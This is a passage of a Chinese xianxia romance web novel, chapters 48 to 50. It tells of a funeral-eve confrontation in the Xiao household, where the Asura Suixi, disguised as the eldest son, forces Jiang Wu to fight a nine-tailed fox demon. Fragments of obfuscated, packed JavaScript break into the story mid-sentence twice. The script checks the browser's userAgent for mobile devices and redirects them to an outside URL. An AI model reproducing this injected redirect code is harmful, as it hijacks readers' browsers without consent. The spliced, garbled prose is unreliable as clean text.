萧蔚正在院中的凉亭内择着新鲜的覆盆子,她将品相不好、发酸的果子吃掉,独独留下新鲜漂亮又大又甜,堆放在白色的瓷盘中。 “雾沅大人怎么有空过来?”萧蔚从瓷盘中挑了几颗鲜红的覆盆子递向了雾沅,“吃果子吗?我刚择好的。” 雾沅摆手,“不必了,我今日前来是想问问你,上午之时你避开我同姜芜说了些何事?” 萧蔚了然一笑,将手中的覆盆子放回了瓷盘中,“我没有同姜女郎谈什么,只是两个同病相怜的可怜人而已,毕竟萧家的男人没一个好东西。” 雾沅不解,“既然如此,你为何还要留在这里?做着这些事情?趁着没有到无法挽回的地步,及时止损不好吗?” 萧蔚会心一笑,她抬头对雾沅说:“我自己选择的,我乐意。” 雾沅追问,“你同姜芜之间真的没有什么?” 萧蔚摇了摇头,矢口否认,“没有。” 雾沅无奈地叹了一息,“今日之事,是你们做的吗?” 萧蔚停下手中的动作,一脸无辜地看向雾沅,“何事呀?” 雾沅面色凝重,他盯着萧蔚看了片刻,想确认她所言真假,最终摇了摇头,“无事。” 萧蔚见雾沅离开,将竹篮放在一旁,端起瓷盘向房间内走去,然后放在了正在窗边读书的萧无祸的桌上。 “三郎,吃果子。” 萧无祸看了一眼盘中颗颗饱满的覆盆子,放下手中的书卷,伸手捻了一颗,“发酸的果子都让你吃掉了?” 萧蔚坐在萧无祸脚边,伸手按揉着他的小腿,“三郎值得最好的,我会将所有珍贵的东西都送给三郎。” 萧无祸将手中的覆盆子塞进了萧蔚的口中,“初春地上凉,不要总是坐在地上。” 萧蔚闻言伏在萧无祸的膝头,笑着说:“因为这样可以离三郎近一些。” 萧无祸勾唇,伸手揉了揉萧蔚的侧脸,“去拿个软垫垫着。” 萧云气喘吁吁地对萧舒延叙述完事情的经过,神情忧愁,“是不是我们与她太过于亲近了,所以才会让萧无祸他们对她下手。大人,我们现下该如何是好?” 萧舒延面无表情地说:“不要自乱阵脚让别人趁虚而入。” 萧云垂下双眸,“可是……” 萧舒延按了按眉心,“不用做过多假设,此事我知晓了。” 萧云抿了抿双唇,“好,我知晓了。”说完,她便退了出去。 萧舒延展开手中的纸条,只见里面赫然写着时辰和地址,明晃晃地请君入瓮。 日暮时分,大雾四起,小雨簌簌而下。 寂满在院门口翘首以盼,时不时焦急地在原地来回踱步,他的手中紧紧地抓着一张纸条。 “你们可算是回来了!”寂满将纸条塞到了雾沅的手中,“看看吧,在你们走后不久飞进来的。” 商扶庭绕过寂满走到正厅中,灌了几口凉茶解渴后才开口问道:“如何?里面写的是什么?” 雾沅展开纸条,开口读出了里面的内容,“今夜亥时中旬灵堂见,有你们想知道的一切。” 沈确抬眸看向众人,“事态紧急,我们要不要把纸条交给萧大公子,请他帮帮忙?” 商扶庭放下茶杯,“不必,既然那人给我们送了纸条,没有理由不给萧大公子送纸条。根据我们现下所知晓的一切,最起码此事并非朝我们来的,但也不能保证有人得知了顒鸟精火的事情,拿了人,想同我们做个交易,更坏的打算便是萧无祸反悔了。” 沈确问道:“那我们要赴约吗?看起来倒像是一场阴谋。” 雾沅将纸条凑近烛火,火舌舔舐着薄弱的纸张,他迅速甩灭了火焰,手指扇动着残缺的纸条,低头闻了闻上面的气味。 “只是普通的笔墨,没有任何的修为附着。” 寂满说:“你们找到姜芜了吗?这张纸条的意思是我们按时赴约便能见到她吗?” 商扶庭面色凝重地看向窗外的黄昏,“但愿如此。” 雾沅出声安抚道:“不必担忧,我们来荆州城内未与人结怨,此次应该不是冲我们来的。姜芜不过是被萧家内事所连累,应该也无大碍。” 商扶庭抬眸看向雾沅,火光跳跃在蝶妖漆黑的双眸之中,平添几分诡谲之色,他觉得雾沅有事情瞒着他们。 商扶庭试探地问出口,“所以说,这次是冲萧大公子来的吗?” 雾沅敛眸,“或许吧,明日便是萧城主下葬之日,怕是今夜不会太安定。” 亥时中,雨渐大,萧舒延持伞来到了灵堂。 偌大的灵堂唯有牌位前的烛火长燃,一只铁笼落于院中,天雨纷纷扬扬,如同碎花一般砸在铁笼之上。 姜芜身上的白衣铺陈于铁笼之中,她双手被缚于头顶,雨水打湿了她的长发,睫毛成缕,水珠从随着颤动而坠落。 姜芜听到声音,停下了哼唱,“我的眼睛现下可以看到一点亮光了。” 萧舒延垂眸地看着姜芜,“很熟悉的调子。” 萧蔚从铁笼后走出,笑靥如花,“大公子,您来了?” 萧舒延看着铁笼中的姜芜,“明日便是父亲下葬之日,你确定要今夜要这样做吗?三弟。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336951|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 萧蔚笑着说:“三郎并没有来,今夜是我自作主张。想看看大公子是选姜女郎还是择城主之位。” 萧舒延伸手入铁笼,仔细地擦掉姜芜脸上的雨水,掌下的肌肤恍若玉质,触感发凉。 姜芜神情乖巧,任凭萧舒延为她剥开凌乱的碎发,擦干脸上的雨水。 萧舒延的眉心拢了起来,“是你自作主张?”说完,他虚空扼住了萧蔚的脖颈,抬手将她甩了出去。 “萧家念你独身一人,孤苦伶仃将你收入府中。你却在主君停灵时做出不让其安息一事,如此大逆不道,恩将仇报,萧家怎会再留你。” 萧无祸从灵堂中走了出来,他俯身将萧蔚搀扶起,“她不过是一个柔弱女子,大哥何必对她下如此重手?” 萧高瞻神色慌张地跑进了灵堂,他看着眼前的一幕,震惊地问道:“这是?” 萧无祸勾唇,神情快意,“现下我们三兄弟聚齐了。” 萧舒延俯身将伞放在了一旁,不费吹灰之力便将铁笼打开,他伸手把姜芜扶了出来,将伞放在了她的手心中。 “萧府之事不要牵扯其他人进来。” 萧无祸见状,神情癫狂地问道:“所以大哥是选了女人,而放弃权力了吗?那你当初为了城主之位,险些欺辱我妹,害死我娘,又设计毁我双腿又是为何?猖/妓之子而已,你拿什么跟我争?属于我的东西,你拿得走吗?” 商扶庭一行人赶到时正巧听到萧无祸的这一番话。 萧高瞻蹙眉,出声解释道:“三弟,你误会了。主母病入膏肓,药石无医,而你的腿也同大哥无关,分明是你自己执意要去追那只灵雀不小心掉入陷阱之中。” “闭嘴!”萧无祸怒视着萧高瞻,“我母亲分明就是被这个奸诈小人给害死的,事后我也派人去查过那处陷阱,分明就是他提前找人设计好的!你们两个瞒不住我的!” 寂满评价道:“好一出家长里短啊。” 萧高瞻解释道:“本就是围猎,大哥设置陷阱又有何错?” 姜芜突然想起一件事,她靠在萧舒延怀中取暖,“我倒是想起一件趣事来,九尾狐一族生得貌美,也喜爱容貌姣好之人,或许三公子的腿是九尾狐的杰作也不一定,为了一场合理又完美的重逢。” 萧无祸蹙眉,“你是何意?” 萧蔚的脸色顿时变得煞白,她缩在萧无祸身后不言不语。 姜芜笑着说:“只是突然想起的一件恩将仇报的趣事而已,三公子不必往心中去。” 寂满双眸一转,“姜芜之前说过知晓一件有关于三公子的趣事,不会就是这件吧?” 雾沅眉心拢紧,不动声色地看向萧蔚。 萧高瞻说:“无祸,你真的误会大哥了。” 萧无祸厉声道:“那是你的哥哥,不是我的哥哥。” 萧高瞻痛心疾首,“无祸,你为何变成如今这副模样了?你都忘记小时候大哥带我们出去玩吗?” “少在那里假惺惺了。”萧无祸看向姜芜,“你说过的,只要他选择你,你们便会离开这里,永远不再回来。” 商扶庭听得一头雾水,忍不住开口问道:“这究竟是怎么回事?” 姜芜面上笑意不变,“大人的事情,小孩子不要插嘴。” 萧无祸勾唇狞笑了起来,“但是我现下改变主意了,我要萧舒延死。” 从应落到了屋顶之上,他看着院中的几人,“来得早不如来得巧,看来大家都到齐了。萧无祸,要开始吗?” 萧无祸得意地笑了起来,“当然。” 随着从应的一声呼哨,灵堂小院的墙壁上站满了鬼族人。 萧舒延突然出声问道:“现下距离天亮还有多久?” 萧无祸说:“还有很久,我保证在天亮之前会收拾好一切,不会让父亲的下葬耽误一分一毫。” 萧舒延垂眸看着姜芜,伸手拂开她脸上的雨水,“今日为何穿了白衣?” 姜芜问道:“为何不能穿白衣?” 萧无祸翻了个白眼,“死到临头了还有闲情逸致浓情蜜意,你们不如一起去地府做一对鬼鸳鸯吧。” “因为片刻以后你的衣裳会弄得很脏。”说完,萧舒延便抬手轻点在姜芜心口噬魂骨钉的位置。 姜芜神情一愣,大量的戾气回旋,顿时化解了她双眸之中残留的毒药,她的眼前如同天光乍破一般,瞬间看清楚了周围的一切,紧接着她便觉得自己变得不受控制,周身的戾气翻腾,黑红色的雾气顿时铺满了整个小院。 姜芜转身,直扑向了萧无祸。 从应见状暗骂一声,“修罗?!” 商扶庭大喊,“姜芜,你要做何?” 雾沅神情凝重地看着姜芜,“不对劲,她似乎无法控制自己,有人操控了她!” 商扶庭蹙眉,他不解地看着雾沅,随后将目光落到了萧舒延身上,抬手提起了太初剑,“他是睢羲!” 49. 心念 萧蔚上前将萧无祸挡在身后,九条尾巴如同春日之花般在身后炸开,迅速上前把姜芜控制住,用长尾把她卷起,困在原地,令她动弹不得。 萧蔚的身体逐渐妖化,长发似乎被白雪浸染,鲜红的指甲如同利刃一般从白色的狐爪中探出。 “今日有我在,谁也不许伤害三郎。” 萧舒延侧身躲开朝他刺来的太初剑,他睨了商扶庭一眼,丝毫未将他放在眼中。 沈确见状立刻取剑上前,与商扶庭左右配合。 寂满震惊到呆滞,喃喃道:“这样一切便说得清楚了,别的我不敢确认,但是那个白面书生一定是他杀死的!” 雾沅蹙眉,“你为何如此肯定?” 寂满神情焦急,“你傻啊,他尸体上没有鬼气也没有妖力残留,他之所以会死是因为我们刚来时他欺辱了姜芜!” 从应开口,“所以我说挖心这种肮脏事不要按在我们鬼族人头上!我们不屑于做!” 雾沅摇头,“不对,我同姜芜检查过萧城主的伤口,上面确实鬼气森森。而长衡山五行道宗给商公子的信笺上书萧城主为抵御鬼族不幸陨落,所以挖心一事还是同鬼族人有关,至少萧城主的死是同鬼族人有关的。” 萧舒延震开商扶庭和沈确,“今夜与你们无关,不想死的话便老实待着。” 萧无祸见状,脸上的笑意更加狂放,“大哥,我真以为你是百年的王八开了窍,之前还纳闷你为何会对男女之事突然如此上心,原来是看中了她的身份。姜女郎,你真是痴心一片,情深错付啊,你中意之人,根本就不爱你,只是在利用你而已啊!” 姜芜勉力控制住自己,强迫自己不要去伤害面前的所有人,出声哀求道:“别这样,我不愿如此,他们都是些无辜之人。” 萧舒延闪身到姜芜身侧,看着她勉力抵抗的模样,伸手抚了抚她的脸颊,安抚道:“没关系的,几个人、几个妖而已杀了便杀了吧,他们就像野草一般,野火灼烧不尽,来年春风起又生一片,不要让自己那么痛苦。” 萧高瞻有些无助地看着面前纷纷杂乱的一切,“这究竟是怎么一回事?” 萧舒延面无表情地说:“高瞻,还不明显吗?无祸勾结鬼族人害死了父亲。” 商扶庭大喊,“不要相信他的鬼话,他现下的躯壳里是个大修罗!萧舒延是否活着还难说!” “哥?”萧高瞻倏地红了眼圈,他难以置信地看向萧舒延,“你告诉我,他们说的都是假的!” 萧舒延心绪烦躁,不懂人族为何要纠结于一些无用之事的答案,他俯身在姜芜耳边轻声说:“你看,过家家的游戏要结束了。” 姜芜问道:“这段时间以来,你就没有丝毫触动吗?” 萧舒延不语,垂眸静静地看着姜芜,她亲近人族,喜爱热闹,向往人与人之间的血缘与情感,这些向来都不曾变过。 萧舒延扬声道:“高瞻,莫要相信他们的片面之词,我是不会害你的。” 姜芜抬眸看着萧舒延忍气吞声的模样,眼眶微红,“你不愿意便算了,不用这般委屈自己,能不能先解开对我的控制?” 萧舒延扬眉,伸手擦去姜芜面上滚落的泪珠,“不行,姜芜,杀了萧无祸。” 姜芜身上的戾气再一次高涨,她神情痛苦得扬起脸,脖颈和脸颊上的静脉呈现出漆黑的颜色,血意从她眼底渗出,她只是轻轻抬手,萧蔚的九条尾巴便在空中化成了碎肉,血雾随着雨水落了一地。 “跑!快跑!” 姜芜大喊,身体却不受控制地冲上前扼住了萧蔚的脖颈。 萧蔚神情痛苦地抓向姜芜。 姜芜见状迅速后撤,萧蔚的面容急剧变化,眉眼拉长,口鼻外凸,牙齿变尖从唇吻处爆出。 随着一声兽叫,一只雪白的巨型狐狸出现在灵堂前的小院中,它上前叼起萧无祸甩到了自己的背上,腾云踏雾,预备跃出小院。 萧舒延勾起唇角,“既然来了,便都留下来吧。” 狐妖跃至半空,一道金黄色的网凭空而出,直接阻断了它的生路。 萧舒延抬眸看了一眼乌云密布天空,抬手引一道惊雷而下,直接劈向了狐妖。 狐妖奄奄一息,见状只能将萧无祸护在身下。 姜芜趁萧舒延分神,控制松动,直接上前挡下那道天雷。 萧舒延见状眉心拢起,沉默地看向姜芜。 姜芜口中喷出一口热血,她抬眸看向萧舒延,神情无奈地一笑,声音轻轻柔柔的,“别再造杀孽了,他们都怪可怜的。你说他们如野草,野草而已,又不碍事,随他们长吧。” 萧舒延说:“即便他们如此为难你,欺辱你,你也不觉得如何,也不想以牙还牙、以眼还眼吗?” 姜芜无奈地摇了摇头,“没有必要。” 商扶庭看着姜芜,握紧了手中的太初剑。 萧舒延深深地叹了一口气,加重了对姜芜的控制。 日出时分,大雨停歇,天光乍破。 姜芜浑身是血地跪坐在院中,她合着双眸无力地扬起头,让阳光驱散她身上的含义,周围散落着鬼族人的残肢断臂。 萧蔚偏头吐出一口鲜血,无力再化作人形,索性便当一只小狐狸躺在萧无祸的怀中。 萧舒延看着碎落一地的器具,开口道:“当世炼器天才也不过如此。” 萧无祸神情震惊地看着萧舒延,心火翻涌,一口热血奔涌至喉间被他硬生生地压了下去,脸上由震惊转为愤怒。 萧舒延走向姜芜,居高临下地看着她,“你自断近五成的经脉也不愿意杀他们吗?除去你自己的事情不谈,萧无祸勾结妖族、鬼族,残害荆州城百姓与荆州城主,即便如此你也不杀他吗?那你为何又在天都城杀了越迦柯?莫非当下是想在他们面前留个好印象?” 萧高瞻面色惨白地看向萧舒延,“哥,这一切都是怎么回事?” 萧舒延捏了一簇戾气挥向天空,柏雨、沛然和季易很快赶来这处小院。 “无祸,你想报复我,你觉得你母亲的死和你的腿疾是因为我,大可以直接来找我,何必要牵扯到父亲。”萧舒延说,“还是你觉得成为城主可以慢慢折磨我,才能够缓解你五年来的恨意。” 萧无祸神情狠厉地抬眸看向萧舒延,他擦掉嘴角的鲜血,“说我勾结妖鬼二族,你不是也勾结了修罗吗?父亲?他也配?他害我母亲郁郁而终,不得与心爱之人长相守,纵容□□妾室欺压我的主母,这样的男人他配做主君吗?他配称为父亲吗?!” 萧高瞻蹙眉,“三弟,你误会了,我母亲从来未欺压主母。” “你闭嘴!”萧无祸厉声道,“时至今日,说再多也无用,败了便是败了,我不会任凭你们欺辱!” 萧无祸说完便自碎内丹,他身体一震,一口热血喷洒而出,随即缓缓得躺倒在地。 白狐口中发出一阵悲鸣,她积攒力气化作人形,匍匐着上前将萧无祸抱在怀中,神情悲痛,“三郎?三郎!” 萧蔚哀切地看着众人,眼泪簌簌而下,“求求你们!救救他!我愿意用我修行千年的内丹来换。” 萧无祸看着萧蔚,四周的温度与声音正在离他远去,他看着萧蔚姣好的面容,吃力地说:“不必求他们,是我罪有应得。” 萧舒延说:“无祸,还记得六年前的春猎,你救下的那只白狐狸吗?你的腿疾便是她恩将仇报的结局,她为了同你有个美好的相遇,设计让你掉入陷阱之中,割断了腿上的经脉,使你无法再直立行走。这些年,你都将仇人养在身边,用鬼族杀了最疼爱你的父亲,你的眼睛,瞎了便算了,心也盲了吗?” 萧蔚垂眸去看萧无祸,泪眼婆娑地摇着头,“三郎,不是这样的,你听我解释。” 萧舒延见状继续道:“解释?为何不同荆州城被挖心的百姓解释?狐妖,你为了治好无祸的腿,时隔半月便挖一次人心入药。” 萧蔚想伸手去捂萧无祸的耳朵,却被后者拂开。 萧无祸脸上露出一个凄惨的笑容,“没关系,反正她爱我,我不爱她,我从头到尾都是利用她,说起痴心错付,她也算一个。”说完,他便推开萧蔚,挣扎着滚到一旁,像是一个破碎的木偶。 萧蔚神情一愣,哀叫着扑了过去,语无伦次地说道:“三郎,三郎,我救你,我救你,我还你一双健全的双腿,这是我欠你的。”说完,她便引出了自己的妖丹,晶莹剔透的妖丹上散发着雄厚的妖力。 萧蔚抬手掐诀,将妖力引渡于萧无祸身上,妖丹逐渐失去光泽,变得灰败,最终碎裂开。 雾沅面色惋惜,他上前一步开口问道:“值得吗?修行不易,千年修炼毁于一旦,给一个不爱你的男人。” 萧蔚看着萧无祸逐渐红润的脸庞,她探头去感受着那熟悉又平稳的呼吸,“值得,我为爱而来,他爱不爱我,只有我最清楚,毕竟三郎的怀抱是天底下最温暖的地方。” 萧蔚看向姜芜,神情苦涩又惋惜,“别杀他,让他走吧。”说完,她蜷缩进萧无祸的怀中合上了双眸,身体逐渐透明化为一只白狐,最后消散在空中。 寂满狠狠地擦了一把眼泪,随即转过身,倒换着呼吸平复心绪,“什么爱啊恨啊的,至于把命搭上吗?” 从应吐出一口血沫,“窝囊废!”说完,他从墙头飞袭而下,伸手抓住沈确迅速离开。 “师妹!” 商扶庭正准备去追,却因为真元枯竭而不得不停下脚步,他吐出一口鲜血,抓紧了手中的太初剑。 “想要你师妹,拿天书来换!” 寂满立刻上前扶住商扶庭,急忙说:“小道士,你没事吧?可千万别死啊。” 萧舒延朝从应 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姜芜不语,只是抬手抱紧了萧舒延。 萧舒延拂开姜芜的长发,将其拨至一旁,一边用温热的水冲洗着她身上的血液,将干涸处软化,一边脱下她残破的衣裳。 “好了。” 姜芜起身,“一个净身咒便可以解决的事情。” 萧舒延低头蹭了蹭姜芜的侧脸,“我觉得这样照顾你很有意思。” 姜芜蹙眉,她后退几分,仔细看了看萧舒延的脸,随后伸手按住了他的脸,“我怎么能这么快看到呢?” 萧舒延轻笑一声,他把姜芜放进水中,随后起身走到了外间,再次回来时端了茶具和切好的梨块。 姜芜正在搓洗头发,见睢羲换回原本的模样也只是抬头看了一眼,便专注于清洗身上的血迹。 “望月楼的普洱茶,好喝吗?” 睢羲坐在汤池边缘,衣襟大开,胸前触目惊心的外翻的伤口中钉着一枚噬魂骨钉,他抬手倒了两杯热茶,端起茶杯轻抿了一口。 姜芜闻声抬眸看了睢羲一眼,然后走了过去,她伏在茶盘的另一边,捻了一只梨块来吃,“恭喜你啊,萧城主,这下没人同你争了。” “意料之中。”睢羲将茶杯放到姜芜面前,“早点想吃什么?” 姜芜问道:“你所言之事句句属实?” 睢羲说:“那是萧家的事情,同我们无关。” 姜芜抿唇,“那便说一些同我们有关的,你附身萧舒延是何意?” 睢羲垂眸看向姜芜,“那与你无关。” 姜芜蹙眉,“方才还是我们,现下便开始分你我了?” 话音刚落,姜芜便看见睢羲下了汤池朝她走了过来。 “做何事?” 睢羲从茶盘上取了一个瓷瓶过来,“上药。” “你这是什么癖好?”姜芜转身趴在了浴池边缘,把整个后背都露了出来,白皙纤细的后背上被天雷劈了一道从上至下、皮开肉绽的伤口。 “挥挥手便可以做成的事情,非要搞得这么麻烦,我还要再疼几日。” “寻常夫妻不都是如此做的吗?”睢羲将药粉抖到姜芜的伤口上,用指腹轻轻捻开,“不要再伤到脊柱骨。” 姜芜双手托着脸,“后长的就是不如原生的好用。” 睢羲说:“当初就不应该让你自作主张。” 姜芜理顺了一番自己的头发,手指翻动将其辫在了一处,“你用得不也是挺顺手的吗?嘶……轻一点,伤口很痛。” 睢羲将药瓶放在茶盘上,“伤口痛还是碎掉自己的经脉痛?” 姜芜偏头看着睢羲,用发尾扫了扫他的鼻梁,笑着说:“都很痛。” 睢羲蹙眉,“即便痛也要去做?” 姜芜轻哼了一声,“你又不疼我,你若是疼我,还会让我疼?” 睢羲伸手覆上了姜芜的脸颊,拇指拂过她的双眸和鼻梁,“你到底为何?不过是区区几个人与妖而已,有何值得多挂心的?这不是你同雾沅说过的话吗?” 姜芜轻笑一声,她枕在手臂之上,伸手触到了睢羲的唇峰,“那是因为我骗他啊,他死意横生,若是没有一个支撑他活下去的理由或者念想,他便真的会死。这世间多么美好啊,为何总想着死呢,活着不好吗?无论如何都不能放弃自己的生命啊。” 睢羲闻言合眸亲吻着姜芜的指尖。 姜芜也趁着睢羲合眸的瞬间,擦掉了眼角滑落的泪珠。 “睢羲。” “嗯?” 姜芜靠进了睢羲的怀中,面色苦楚,“我想跟你一起活下去。” 50. 在意 “世间种种各有寿命,人族寿数不过须臾,寿命终尽之时,才会幡然醒悟,觉得虚度了时光年华,不想死,但又不得不死,你又觉得如何?”睢羲抱紧了姜芜,“所有人,你都想救吗?你救得过来吗?你还要同从前一般吗?” “我哪里有那么大的本事,生老病死,自然法则而已。”姜芜语气无奈地说,“你也说了寿命终尽之时,才会幡然醒悟。寿命未尽之际,意图自戕,为何不能再多一个选择呢?活着赎罪也好,死了可真就一了百了呢。有时只是一句话的事情,又不会多耗费心力。有时则是需要多多上心,百般思虑,到处行走才可。” 睢羲问道:“你是在说我吗?还是在说段怀野?” 姜芜轻笑了一声,“你猜猜?” 睢羲伸手摸到姜芜后背伤口的边缘,轻轻地按了按,“我不知晓。” 姜芜疼得倒吸了一口凉气,她推开睢羲,抬头看着他,面上带着淡淡的愠色,声音冷淡地问道:“你为何不知晓?” 睢羲不语,只是托起姜芜的脸,轻轻贴上了她的双唇,渡着戾气给她,修复着她受损的经脉。 “濯濯,我希望是我,是我好吗?一定是我好吗?” 睢羲把姜芜抱出汤池,让她坐在水台处,俯身亲吻着她的膝盖和大腿。 “真有闲情逸致。”姜芜双眼朦胧,像是布了一层山间雾,她伸手摸了摸睢羲的头发,气息不稳地说,“今日不是你登上城主之位的日子吗?还跟我在这里胡闹?” 睢羲见姜芜缓过神,便将她松开,在汤池里清洗着双手,“那都不重要。” 姜芜伸手倒了一杯茶递了过去,揶揄道:“漱漱口?” 睢羲接过茶杯,将里面的茶汤一饮而尽,“别洗太久,着凉会生病。” 姜芜将汤池中的水撩到自己身上,头也不抬地说:“知晓了。” 睢羲看了姜芜一眼,随即用戾气烘干身上的衣服走了出去,片刻后他换上萧舒延的皮囊,穿戴整齐后又折了回来。 姜芜抬头看向萧舒延,差异地问道:“怎么又回来了?汤池里应该没有会遗忘的东西吧。” 萧舒延俯身捏住姜芜的脸,用力亲了一下她的脸颊,他私自做了这些事情,姜芜本应该生气的,但是现下她却像没事人一样,与平常无异的姿态,反而让他心慌。 萧舒延本以为若是昨夜姜芜大开杀戒,她便会被人族所排挤,被五行道宗的人所嫌弃,这样他便有理由和机会带姜芜离开,她也就不必再受冷落与不待见。 姜芜是他日日夜夜捧在掌心之人,看她受委屈,即便她不这般觉得,睢羲也会觉得心痛、难过以及愤怒。 可是姜芜宁愿自毁,也不愿意给他这个机会。 姜芜忍着变形的脸,面露不解,“干嘛啊?” 萧舒延垂眸看着姜芜,“我很快回来,哪里也不去,等我好吗?” 姜芜笑着说:“知晓了,知晓了,你还记得我们的约定吗?你准备何时回无幻之境?” 萧舒延说:“处理完所有的事情以后便回去,一定。” 姜芜应了一声,特意朝着萧舒延摆了摆手,示意等会见。 萧舒延看向姜芜的神情又是心疼又是无奈,忍不住对着她的脸颊吻了又吻。 “好了。”姜芜往后缩了几分,伸手推了推萧舒延,“你这是干嘛呀。” 萧舒延摸了摸姜芜的头发,“等我回来。” “晓得了,晓得了。” 姜芜无奈地叹了一息,随后起身用帕子擦干净身上的水珠,她对着汤池室内的铜镜看了一眼自己身后的伤口,尝试着用戾气修复着愈合了几分,虽然能调动的戾气不多,但也聊胜于无,至少能够减缓疼痛,让伤口不再流血,以至于沾花了衣裳。 姜芜整理好衣襟向外走去,刚走到门口却被萧云拦了下来。 “女郎,这是要去哪里?” 姜芜心中知晓萧云的意图,并为此恼怒,面上依旧带着笑意,“原来你在这里啊,能否帮我把头发弄干?我身上仅有的戾气用来疗伤了。” 萧云颔首,她托着姜芜的发尾轻轻一抖,瞬间蒸发了上面的水汽,“女郎可否满意,还需要我做些何事?” 姜芜脸上笑意更深,她拿出一支玉簪将长发挽了起来,扫了一眼萧云的发髻,“之前送你的发簪首饰怎么不戴?是不喜欢吗?我这里还有其他的,你可以挑一挑。” 萧云急忙摆手,“不是不是,女郎误会了,我很喜欢你送的东西,只是我不知晓该怎么用,总是挽不得好处。”说完,她便有些懊恼地垂下了头。 姜芜无奈地抿唇一笑,“这也怪我,忘记同你细说了,你的房间在哪里?我来教你。” 萧云红着脸点了点头,应了下来。 【灵堂】 今日为萧魁下葬之日,偌大的灵堂只有荆州府的萧氏族人。 管事秦铭看着分别立在两侧的萧舒延和萧高瞻,出声问道:“无祸呢?为何没来?” 萧高瞻抬眸有些担忧地看了萧舒延一眼。 萧舒延面色不变,“昨夜有鬼族人来袭,三弟不慎负伤,现下还处于昏迷之中,不过第一时间便送去了无咎那里,现下已经无碍了。” 秦铭闻言无奈地叹了口气,“时也命也,既然如此,舒延便由你来捧你父亲的牌位吧,高瞻你来扶棺。” 萧舒延唇角浮现出一丝微不可查的笑意,随即上前接过了萧魁的灵位。 秦铭拍了拍萧舒延的双肩,展平了他衣裳的褶皱,扫了扫上面并不存在的灰尘,布满眼角的皱纹似有湿意,“好孩子,去吧。你父亲在天有灵,一定会为你感到欣慰的。” 萧舒延垂眸看着秦铭,眼底一片冰冷,随即转身向外走去。 【萧云房间】 姜芜通顺了萧云的长发,取了几缕变成发辫,尽可能地让动作放慢放缓,好让萧云能够看清楚每一缕头发的走向。 “我这样做,你可以看明白吗?”姜芜手上用几根发簪别如萧沅的发髻中,“这只是一种,我还会好多种发髻的梳法,等慢慢教给你。” 萧云点了点头,面色绯红,她自镜中看着姜芜,“我看明白了,谢谢女郎。” “那便好。” 姜芜面不改色地将一枚银针刺入萧云的大椎穴中,低声呢喃似海妖歌声,带着蛊惑人心之势,“柏雨,帮我去找一些藕粉来,我在房间等你。” 萧云的双眸中失去了光彩,她神情木讷地点了点头,然后起身走了出去。 姜芜看着萧云出门,转而从袖袋里取出来几只镯子和耳饰放在了她的梳妆台上,随后快步走了出去。 姜芜这是第一次以自己的双眸看到整个萧府的全貌,小路弯弯绕绕,大路四通八达,各处亭台楼阁,红砖绿瓦,她只能凭借着曾经打在商扶庭等人身上的戾气来辨认方向。 “沈确有消息了吗?” 商扶庭倏地站了起来,他看着跨门而入的姜芜,“你的伤势如何了?” 姜芜说:“不打紧,都是一些小伤。” 雾沅摇了摇头,“沈确还没有消息,那两个修罗也没有回来,你那边怎么说?” 姜芜静言感受了片刻,接着她面上露出一丝不解,“沈确似乎并没有离开萧府,至少我能感觉到她身上的戾气并不远,应该就在府内,也不能全部倚仗季易和沛然,你们在府中找找看。” 商扶庭惊诧,“阿确就在荆州府内?她会在哪里?” 寂满吐出瓜子皮,信誓旦旦地说:“一定是那两个打手把她带回来了,没有同我们说而已。” 商扶庭倏地看向姜芜,他想起睢羲手中的那卷天书,怕后者借着从应抓走沈确时留下的话将计就计,来换取他手中的天书。 “接下来我们该如何?是否不能轻易离开荆州府了?姜芜,你作何打算?” 姜芜取了一只空茶杯,用银簪割破左手手腕整整放了一茶杯的血,“你们用我的血凝炼成一颗珠子,这样靠近我本源时便会发亮,你们现在府内找找看。先找到沈确,保证她的安全,其余的后续再谈。” 寂满叹了一口气,“也不知道大荒如何了,我究竟何时才能飞跃天门化龙。” 姜芜敛眸掩去眼底的复杂情绪,面上却带着笑意,“很快,别着急,就当作是为你的化龙之路多添加一份保障。” 商扶庭看着姜芜,走上前问道:“事已至此,你还要与我们同行吗?你同他旧情未了?他会放你走吗?” 姜芜挑眉,“你为何要这么问?我不是答应过你师门,而且也签订了血契吗?这血契搞不好是要命的。” 商扶庭明白了姜芜的意思,他点了点头,提议道:“睢羲是大修罗,若你觉得离开困难,我们可以一起想个法子,暂时控制住他,为我们争得离开的时间如何?姜芜,或许你真的要做出抉择,不要忘记你当初上长衡山的本心,他确实同你的道义相违背……” 商扶庭话音一落,握紧了手中的太初剑,他看着姜芜,姜芜也同他的道义相违背,但是他却一次又一次的因为姜芜,让自己的道义让步。 姜芜面上莞尔,心脏却剧烈地跳动着,“你多虑了,他与我的道义无关,与旧情无关,我决定的事情,我都会去做,无论前方是谁阻我。我留在他身边是为了解开戾气的封印,别无他想。当务之急,是先找到沈确,你加紧利用天书修炼。至于睢羲我来解决,他现下在软禁我,我不能出来太久,所以我会尽量同你们传递消息,保持消息同步。” 姜芜说完便快步转身离开,心中带着一丝侥幸,落荒而逃,她甚至有些厌烦商扶庭不断地提起血契,将她从镜花水月中拖出,强迫她面对现实。 商扶庭看着姜芜离开的背影,长舒了一口气,喃喃道:“但愿如此。” 寂满若有所思地说:“鱼与熊掌不可兼得,旧情与道义居然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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姜芜从小院走出,沿着石子小路避着人快步急走,突然她脚下一顿,垂眸便看到了一颗灰扑扑、质地不明的碎块。 姜芜俯身捡起,捏在指尖仔细端详片刻,碎块这不像是如同的石子,上面残存的灵气,像是内丹一类。接着,她便想起到捏碎妖丹救了萧无祸的萧蔚。 姜芜把碎块收进了袖袋中,继续向萧舒延的院中赶去。 辰时末,萧舒延处理完一切从外赶了回来,他踏入房门,顺手接过萧云递来的帕子,扫了扫身上的纸灰。 姜芜抬眸扫了萧舒延一眼,随即低头迅速用勺子搅拌着不成型的藕粉。 